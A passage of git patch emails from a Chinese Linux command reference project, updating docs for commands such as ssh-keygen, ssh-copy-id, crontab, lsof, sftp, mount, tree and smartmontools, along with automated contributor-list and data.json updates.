+遗憾的是, `cut`并没有提供最后字符的支持. 不过我们可以通过字符串反转来实现. + +```shell +[root@localhost text]# cat test.txt| rev | cut -c -5 | rev +vwxyz +vwxyz +vwxyz +vwxyz +vwxyz +``` + From 3b9f951915a0006579434f78e0212bde4310c0d7 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 3 Dec 2022 09:04:22 +0000 Subject: [PATCH 0613/1019] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 57c50229f6f..6fe25007bee 100644 --- a/README.md +++ b/README.md @@ -361,12 +361,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 clay-wangzhi - - Glett - 烟草的香味 + + Glett + 项金 From 8cbc5bd9055e35ce83960ae8017cf6902172d625 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 3 Dec 2022 09:04:23 +0000 Subject: [PATCH 0614/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index e869c0a4520..b2d05b8d75c 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -24,12 +24,12 @@ clay-wangzhi - - Glett - 烟草的香味 + + Glett + 项金 From 37ddbe88646832c4484e9e149aedc3933d57edb7 Mon Sep 17 00:00:00 2001 From: Xrtero <55886907+Xrtero@users.noreply.github.com> Date: Tue, 20 Dec 2022 14:46:33 +0800 Subject: [PATCH 0615/1019] Update ssh-keygen.md (#461) --- command/ssh-keygen.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/ssh-keygen.md b/command/ssh-keygen.md index 1d0863f7369..96dd389aac6 100644 --- a/command/ssh-keygen.md +++ b/command/ssh-keygen.md @@ -26,6 +26,6 @@ ssh-keygen(选项) -P：提供（旧）密语； -q：静默模式； -t：指定要创建的密钥类型。 +-y: 读取私钥输出公钥。 ``` - From 37cb4d63e107b2543a5c96e5c652f7d3293e75da Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 20 Dec 2022 06:47:04 +0000 Subject: [PATCH 0616/1019] doc: update README.md. --- README.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 6fe25007bee..76d84118d5e 100644 --- a/README.md +++ b/README.md @@ -373,8 +373,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Jayin Taung - - Zhang Zijing + + Zijing Zhang Fubin Zhang @@ -529,6 +529,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xiaodong DENG + + Xrtero + Xu Chunyang From 1d71a35a06f5dbe98c3216dc540b86be99902641 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 20 Dec 2022 06:47:05 +0000 Subject: [PATCH 0617/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index b2d05b8d75c..7a1bd918165 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -36,8 +36,8 @@ Jayin Taung - - Zhang Zijing + + Zijing Zhang Fubin Zhang @@ -192,6 +192,9 @@ Xiaodong DENG + + Xrtero + Xu Chunyang From d85f04fc6948d49c46ff2a49eef99f7771e371ef Mon Sep 17 00:00:00 2001 From: Xrtero <55886907+Xrtero@users.noreply.github.com> Date: Wed, 21 Dec 2022 17:33:58 +0800 Subject: [PATCH 0618/1019] Update ssh-copy-id.md (#462) --- command/ssh-copy-id.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/command/ssh-copy-id.md b/command/ssh-copy-id.md index 80d3cae5f5f..1291f755d4f 100644 --- a/command/ssh-copy-id.md +++ b/command/ssh-copy-id.md @@ -7,6 +7,8 @@ ssh-copy-id **ssh-copy-id命令** 可以把本地主机的公钥复制到远程主机的authorized_keys文件上，ssh-copy-id命令也会给远程主机的用户主目录（home）和`~/.ssh`, 和`~/.ssh/authorized_keys`设置合适的权限。 +**ssh-copy-id** 使用ssh登陆远程服务器，一般是通过密码校验用户身份，所以在sshd的配制中应该启用密码校验方式： + 将/etc/ssh/sshd_config中的PasswordAuthentication设置为yes，之后重启sshd ### 语法 ```shell From 399b27c7de28f04d194bfb18f616a0954ef222ed Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 21 Dec 2022 09:34:39 +0000 Subject: [PATCH 0619/1019] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 76d84118d5e..b5a38498aeb 100644 --- a/README.md +++ b/README.md @@ -418,6 +418,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xingwen Zhang + + Xrtero + Dazhuangw @@ -529,9 +532,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xiaodong DENG - - Xrtero - Xu Chunyang From 2ef52e434305b635249831905146111ba526f9bd Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 21 Dec 2022 09:34:40 +0000 Subject: [PATCH 0620/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 7a1bd918165..4ce490df0f5 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -81,6 +81,9 @@ Xingwen Zhang + + Xrtero + Dazhuangw @@ -192,9 +195,6 @@ Xiaodong DENG - - Xrtero - Xu Chunyang From df28a4a1fb5f2f1a72126e7b81823a2c53f27ca5 Mon Sep 17 00:00:00 2001 From: sunls24 Date: Mon, 9 Jan 2023 13:30:25 +0800 Subject: [PATCH 0621/1019] fix corntab example (#463) --- command/crontab.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/command/crontab.md b/command/crontab.md index 962e443a538..f691ff50ccd 100644 --- a/command/crontab.md +++ b/command/crontab.md @@ -176,13 +176,13 @@ chkconfig –level 35 crond on 每一小时重启smb  ```shell -* */1 * * * /etc/init.d/smb restart +0 */1 * * * /etc/init.d/smb restart ``` 晚上11点到早上7点之间，每隔一小时重启smb ```shell -* 23-7/1 * * * /etc/init.d/smb restart +0 23-7/1 * * * /etc/init.d/smb restart ``` 每月的4号与每周一到周三的11点重启smb  From 0ac3221d3cffc906ae17237652037da0b46094f9 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 9 Jan 2023 05:31:25 +0000 Subject: [PATCH 0622/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index b5a38498aeb..ccc9692db2a 100644 --- a/README.md +++ b/README.md @@ -640,6 +640,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey + + sunls24 + UniqueDing From 29d9f9808dff427000287a5affdfe467922c3992 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 9 Jan 2023 05:31:26 +0000 Subject: [PATCH 0623/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 4ce490df0f5..d15b7fd71d2 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -303,6 +303,9 @@ snovey + + sunls24 + UniqueDing From c2d0b9de8c5223e48b353337ad7b0d0e975e3805 Mon Sep 17 00:00:00 2001 From: asunrong <103101986+asunrong@users.noreply.github.com> Date: Fri, 10 Feb 2023 10:28:29 +0800 Subject: [PATCH 0624/1019] doc: Update lsof.md (#466) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 查看指定端口的占用 --- command/lsof.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/command/lsof.md b/command/lsof.md index 7dca696be9f..5c419977c19 100644 --- a/command/lsof.md +++ b/command/lsof.md @@ -156,5 +156,8 @@ lsof -i:9981 -P -t -sTCP:LISTEN ```shell lsof $filename ``` - +查看端口占用 +```shell +lsof -i:$port +``` From ed9b85cc344e1ebf12401d3d2728bd68559b7c44 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 10 Feb 2023 02:29:08 +0000 Subject: [PATCH 0625/1019] doc: update README.md. --- README.md | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index ccc9692db2a..fe42563dd71 100644 --- a/README.md +++ b/README.md @@ -427,7 +427,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 wa7t - + Shell @@ -523,8 +523,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Spaghetti-C - - 王杰 + + iwangjie Wingrez @@ -550,6 +550,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 amit794 + + asunrong + bell @@ -616,8 +619,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 linuxwd - - logicwang + + Ricardowang cole From 805f5cc238530d8b89f22417c6273a315921ccec Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 10 Feb 2023 02:29:09 +0000 Subject: [PATCH 0626/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index d15b7fd71d2..0e71ee508df 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -90,7 +90,7 @@ wa7t - + Shell @@ -186,8 +186,8 @@ Spaghetti-C - - 王杰 + + iwangjie Wingrez @@ -213,6 +213,9 @@ amit794 + + asunrong + bell @@ -279,8 +282,8 @@ linuxwd - - logicwang + + Ricardowang cole From 18a1ddaeec0ed0984d821f19d6bcf6e674f4ce8e Mon Sep 17 00:00:00 2001 From: Xonline-Tech <55641276+Xonline-Tech@users.noreply.github.com> Date: Mon, 13 Feb 2023 10:36:17 +0800 Subject: [PATCH 0627/1019] =?UTF-8?q?doc:=20=E4=BF=AE=E6=AD=A3sftp?= =?UTF-8?q?=E5=AE=9E=E4=BE=8B=E4=B8=AD=EF=BC=8C=E5=BB=BA=E7=AB=8B=E8=81=94?= =?UTF-8?q?=E6=8E=A5=E5=AE=9E=E4=BE=8B=E9=94=99=E8=AF=AF=20(#467)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `sfpt`->`sftp` --- command/sftp.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/sftp.md b/command/sftp.md index dfa476f13fb..07ea755792b 100644 --- a/command/sftp.md +++ b/command/sftp.md @@ -35,7 +35,7 @@ sftp(选项)(参数) 建立联接 ```shell -$ sfpt username@1.1.1.1 # 回车输入密码 +$ sftp username@1.1.1.1 # 回车输入密码 ``` 获取文件下载到指定路径 From e84a6f5ff9bf092cba59f47af4628af27f1c4cf4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 13 Feb 2023 02:36:50 +0000 Subject: [PATCH 0628/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index fe42563dd71..b9120321c72 100644 --- a/README.md +++ b/README.md @@ -532,6 +532,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xiaodong DENG + + Xonline-Tech + Xu Chunyang From 67c5f56afa96862f68b82abd2fb893e20d306e69 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 13 Feb 2023 02:36:50 +0000 Subject: [PATCH 0629/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 0e71ee508df..8e4d01c33aa 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -195,6 +195,9 @@ Xiaodong DENG + + Xonline-Tech + Xu Chunyang From 8f289418fa1af6c3e3c1acc1b2c85f7ba9161acb Mon Sep 17 00:00:00 2001 From: wlf-darkmatter <62014693+wlf-darkmatter@users.noreply.github.com> Date: Mon, 13 Feb 2023 16:46:34 +0800 Subject: [PATCH 0630/1019] doc: Update mount.md (#469) --- command/mount.md | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/command/mount.md b/command/mount.md index 43b8e93d80c..fc284307895 100644 --- a/command/mount.md +++ b/command/mount.md @@ -7,6 +7,8 @@ mount **mount命令** Linux mount命令是经常会使用到的命令，它用于挂载Linux系统外的文件。 +如果通过webdav协议挂载网络磁盘，需要运行指令`apt install davfs2`安装必要的组件 + ### 语法 ```shell @@ -46,7 +48,7 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir -o loop=：使用 loop 模式用来将一个档案当成硬盘分割挂上系统。 ``` -### 实例 +### 实例1 将 `/dev/hda1` 挂在 `/mnt` 之下。 @@ -66,6 +68,14 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir #mount -o loop /tmp/image.iso /mnt/cdrom ``` +### 实例2 +通过 webdav 协议挂载网络硬盘 + +将`https://your.webdav.link.here`的网络存储以网络磁盘的形式挂载到系统路径`/path/to/mount` + +```shell +mount -t davfs https://your.webdav.link.here /path/to/mount +``` From e35a60bec84c125c92143850edefcd1d04e19bcd Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 13 Feb 2023 08:47:12 +0000 Subject: [PATCH 0631/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index b9120321c72..06c997e3e75 100644 --- a/README.md +++ b/README.md @@ -655,6 +655,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 weibk + + wlf-darkmatter + yanyx From 6b7b6607e01d11f119bb07a23cfd213397a8fba0 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 13 Feb 2023 08:47:13 +0000 Subject: [PATCH 0632/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 8e4d01c33aa..287ca782550 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -318,6 +318,9 @@ weibk + + wlf-darkmatter + yanyx From 4ca0b553075a1ea1042cf26787cc2c0739beb644 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Wed, 22 Feb 2023 10:08:21 +0800 Subject: [PATCH 0633/1019] doc: Update tree. --- command/tree.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/command/tree.md b/command/tree.md index a9da13b8277..1e77168785f 100644 --- a/command/tree.md +++ b/command/tree.md @@ -119,4 +119,17 @@ tree -if /private/ /private/tftpboot ``` +显示所有文件目录(包括隐藏文件)并忽略(node_modules|.git)目录，展示(`-L 2`)两层。 + +```shell +$ tree -I 'node_modules|.git' -L 2 -a + +. +├── .github +│   └── workflows +├── LICENSE +├── README.md +└── renovate.json +``` + From 05bc9a8c6318eb3115e56235cd6a62bf25ab472e Mon Sep 17 00:00:00 2001 From: tangke Date: Fri, 24 Feb 2023 21:21:01 +0800 Subject: [PATCH 0634/1019] doc: create smartmontools.md (#471) Co-authored-by: tang.ke --- command/smartmontools .md | 93 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 93 insertions(+) create mode 100644 command/smartmontools .md diff --git a/command/smartmontools .md b/command/smartmontools .md new file mode 100644 index 00000000000..9627ff61967 --- /dev/null +++ b/command/smartmontools .md @@ -0,0 +1,93 @@ +Smartmontools +=== + +Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的 + +### 安装 +```shell +sudo aptitude install smartmontools +``` + +### 语法 + +```shell +smartctl (选项) (参数) +``` + +### 选项 +```shell +-i <硬盘> 显示硬盘设备的标识信息 +-a <硬盘> 显示设备的所有SMART信息 +-H <硬盘> 显示设备的健康信息 +-A <硬盘> 显示设备SMART供应商特定的属性和值 +``` + +### 参数 +硬盘设备：指定要查看的硬盘(可以使用 fdisk -l 获取有哪些硬盘设备) + +```shell +~ sudo fdisk -l +设备 起点 末尾 扇区 大小 类型 +/dev/sda1 2048 1050623 1048576 512M EFI 系统 +/dev/sda2 1050624 976771071 975720448 465.3G Linux 文件系统 +``` + +### 实例 + +查看 /dev/sda1 硬盘的健康状态，在这个命令中，"-s on"标志开启指定设备上的SMART功能。如果/dev/sda上已开启SMART支持，那就省略它。\ +（PASSED 表示健康；FAILED 表示即将出现故障所以需要开始备份这块磁盘上的重要数据） +```shell +~ sudo smartctl -s on -H /dev/sda1 + +=== START OF READ SMART DATA SECTION === +SMART overall-health self-assessment test result: PASSED +``` + +查看 /dev/sda1 硬盘特定的属性和值 +(Power_On_Hours: 表示通电时长 18195 小时) +```shell +~ sudo smartctl -A /dev/sda1 + +=== START OF READ SMART DATA SECTION === +SMART Attributes Data Structure revision number: 16 +Vendor Specific SMART Attributes with Thresholds: +ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_FAILED RAW_VALUE + 3 Spin_Up_Time 0x0023 100 100 002 Pre-fail Always - 1326 + 4 Start_Stop_Count 0x0032 100 100 000 Old_age Always - 3752 + 9 Power_On_Hours 0x0032 055 055 000 Old_age Always - 18195 + 10 Spin_Retry_Count 0x0033 174 100 030 Pre-fail Always - 0 + 12 Power_Cycle_Count 0x0032 100 100 000 Old_age Always - 3118 +183 Runtime_Bad_Block 0x0032 100 100 001 Old_age Always - 0 +184 End-to-End_Error 0x0033 100 100 097 Pre-fail Always - 0 +185 Unknown_Attribute 0x0032 100 100 001 Old_age Always - 65535 +187 Reported_Uncorrect 0x0032 001 001 000 Old_age Always - 134 +188 Command_Timeout 0x0032 100 098 000 Old_age Always - 48 +191 G-Sense_Error_Rate 0x0032 100 100 000 Old_age Always - 2850 +192 Power-Off_Retract_Count 0x0022 100 100 000 Old_age Always - 32047593 +193 Load_Cycle_Count 0x0032 095 095 000 Old_age Always - 51738 +194 Temperature_Celsius 0x0022 060 055 040 Old_age Always - 40 (Min/Max 16/44) +``` + +#### 以指定的间隔运行，同时又能通知硬盘的测试结果 +首先，编辑smartctl的配置文件(/etc/default/smartmontools)以便在系统启动时启动smartd，并以秒为单位指定间隔时间（如7200 = 2小时） + +```shell +start_smartd=yes +smartd_opts="--interval=7200" +``` + +下一步，编辑smartd的配置文件（/etc/smartd.conf），添加以下行内容。 +```shell +/dev/sda -m myemail@mydomain.com -M test +``` + +选项说明 \ +-m ：指定发送测试报告到某个电子邮件地址。这里可以是系统用户比如root，或者如果服务器已经配置成发送电子邮件到系统外部，则是类似于myemail@mydomain.com的邮件地址。\ +-M ：指定发送邮件报告的期望类型。\ +once：为检测到的每种磁盘问题只发送一封警告邮件。\ +daily：为检测到的每种磁盘问题每隔一天发送一封额外的警告提醒邮件。\ +diminishing：为检测到的每种问题发送一封额外的警告提醒邮件，开始是每隔一天，然后每隔两天，每隔四天，以此类推。每个间隔是前一次间隔的2倍。\ +test：只要smartd一启动，立即发送一封测试邮件。\ +exec PATH：取代默认的邮件命令，运行PATH路径下的可执行文件。PATH必须指向一个可执行的二进制文件或脚本。当检测到一个问题时，可以指定执行一个期望的动作（闪烁控制台、关闭系统等等）。 + +保存改动并重启smartd。 \ No newline at end of file From 44d0386355a3a99dc9640c066a65a0b28f2dac18 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 24 Feb 2023 13:22:04 +0000 Subject: [PATCH 0635/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 06c997e3e75..85c8c05a7a8 100644 --- a/README.md +++ b/README.md @@ -649,6 +649,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 sunls24 + + tangke + UniqueDing From 88f35554636fd99772f44abcdb2a8509af26dbb2 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 24 Feb 2023 13:22:05 +0000 Subject: [PATCH 0636/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 287ca782550..7dff4ba435d 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -312,6 +312,9 @@ sunls24 + + tangke + UniqueDing From 4b1b488206d3db1bf395d9d223754d56c1689a5a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Fri, 24 Feb 2023 21:32:36 +0800 Subject: [PATCH 0637/1019] doc: fix typo. #472 --- command/hdparm.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/hdparm.md b/command/hdparm.md index eafcd7abb14..4b7ea235c9d 100644 --- a/command/hdparm.md +++ b/command/hdparm.md @@ -21,7 +21,7 @@ hdparm(选项)(参数) -c：设定IDE32位I/O模式； -C：检测IDE硬盘的电源管理模式； -d<0或1>：设定磁盘的DMA模式； --f：将内存缓冲区的数据写入硬盘，并清楚缓冲区； +-f：将内存缓冲区的数据写入硬盘，并清除缓冲区； -g：显示硬盘的磁轨，磁头，磁区等参数； -h：显示帮助； -i：显示硬盘的硬件规格信息，这些信息是在开机时由硬盘本身所提供； From e2a325a95eeb46b0e230dea5e9eb2f409d73c637 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 24 Feb 2023 21:51:33 +0800 Subject: [PATCH 0638/1019] doc: update smartmontools.md (#471) --- command/{smartmontools .md => smartmontools.md} | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) rename command/{smartmontools .md => smartmontools.md} (94%) diff --git a/command/smartmontools .md b/command/smartmontools.md similarity index 94% rename from command/smartmontools .md rename to command/smartmontools.md index 9627ff61967..beca325b0da 100644 --- a/command/smartmontools .md +++ b/command/smartmontools.md @@ -3,18 +3,19 @@ Smartmontools Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的 -### 安装 +##安装 + ```shell sudo aptitude install smartmontools ``` -### 语法 +## 语法 ```shell smartctl (选项) (参数) ``` -### 选项 +## 选项 ```shell -i <硬盘> 显示硬盘设备的标识信息 -a <硬盘> 显示设备的所有SMART信息 @@ -22,7 +23,7 @@ smartctl (选项) (参数) -A <硬盘> 显示设备SMART供应商特定的属性和值 ``` -### 参数 +## 参数 硬盘设备：指定要查看的硬盘(可以使用 fdisk -l 获取有哪些硬盘设备) ```shell @@ -32,7 +33,7 @@ smartctl (选项) (参数) /dev/sda2 1050624 976771071 975720448 465.3G Linux 文件系统 ``` -### 实例 +## 实例 查看 /dev/sda1 硬盘的健康状态，在这个命令中，"-s on"标志开启指定设备上的SMART功能。如果/dev/sda上已开启SMART支持，那就省略它。\ （PASSED 表示健康；FAILED 表示即将出现故障所以需要开始备份这块磁盘上的重要数据） @@ -68,7 +69,7 @@ ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_ 194 Temperature_Celsius 0x0022 060 055 040 Old_age Always - 40 (Min/Max 16/44) ``` -#### 以指定的间隔运行，同时又能通知硬盘的测试结果 +### 以指定的间隔运行，同时又能通知硬盘的测试结果 首先，编辑smartctl的配置文件(/etc/default/smartmontools)以便在系统启动时启动smartd，并以秒为单位指定间隔时间（如7200 = 2小时） ```shell @@ -82,7 +83,7 @@ smartd_opts="--interval=7200" ``` 选项说明 \ --m ：指定发送测试报告到某个电子邮件地址。这里可以是系统用户比如root，或者如果服务器已经配置成发送电子邮件到系统外部，则是类似于myemail@mydomain.com的邮件地址。\ +-m ：指定发送测试报告到某个电子邮件地址。这里可以是系统用户比如root，或者如果服务器已经配置成发送电子邮件到系统外部，则是类似于 myemail@mydomain.com 的邮件地址。\ -M ：指定发送邮件报告的期望类型。\ once：为检测到的每种磁盘问题只发送一封警告邮件。\ daily：为检测到的每种磁盘问题每隔一天发送一封额外的警告提醒邮件。\ From cfbd0d464321e161f4935c9947109bb1180fd80f Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 24 Feb 2023 21:55:33 +0800 Subject: [PATCH 0639/1019] doc: update smartmontools.md (#471) --- command/smartmontools.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/smartmontools.md b/command/smartmontools.md index beca325b0da..89a9e525124 100644 --- a/command/smartmontools.md +++ b/command/smartmontools.md @@ -1,4 +1,4 @@ -Smartmontools +smartmontools === Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的 From 4be858f58b4228e9505e11c850ab62390846b5ba Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 24 Feb 2023 21:55:52 +0800 Subject: [PATCH 0640/1019] chore: build data. (#471) --- dist/data.json | 5 +++++ dist/data.min.json | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/dist/data.json b/dist/data.json index 3f4d76a45a4..3ef2f5c55fb 100644 --- a/dist/data.json +++ b/dist/data.json @@ -2274,6 +2274,11 @@ "p": "/slocate", "d": "命令查找文件或目录" }, + "Smartmontools": { + "n": "Smartmontools", + "p": "/smartmontools", + "d": "Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的" + }, "smbclient": { "n": "smbclient", "p": "/smbclient", diff --git a/dist/data.min.json b/dist/data.min.json index db1defc37d9..f7f51b2886d 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 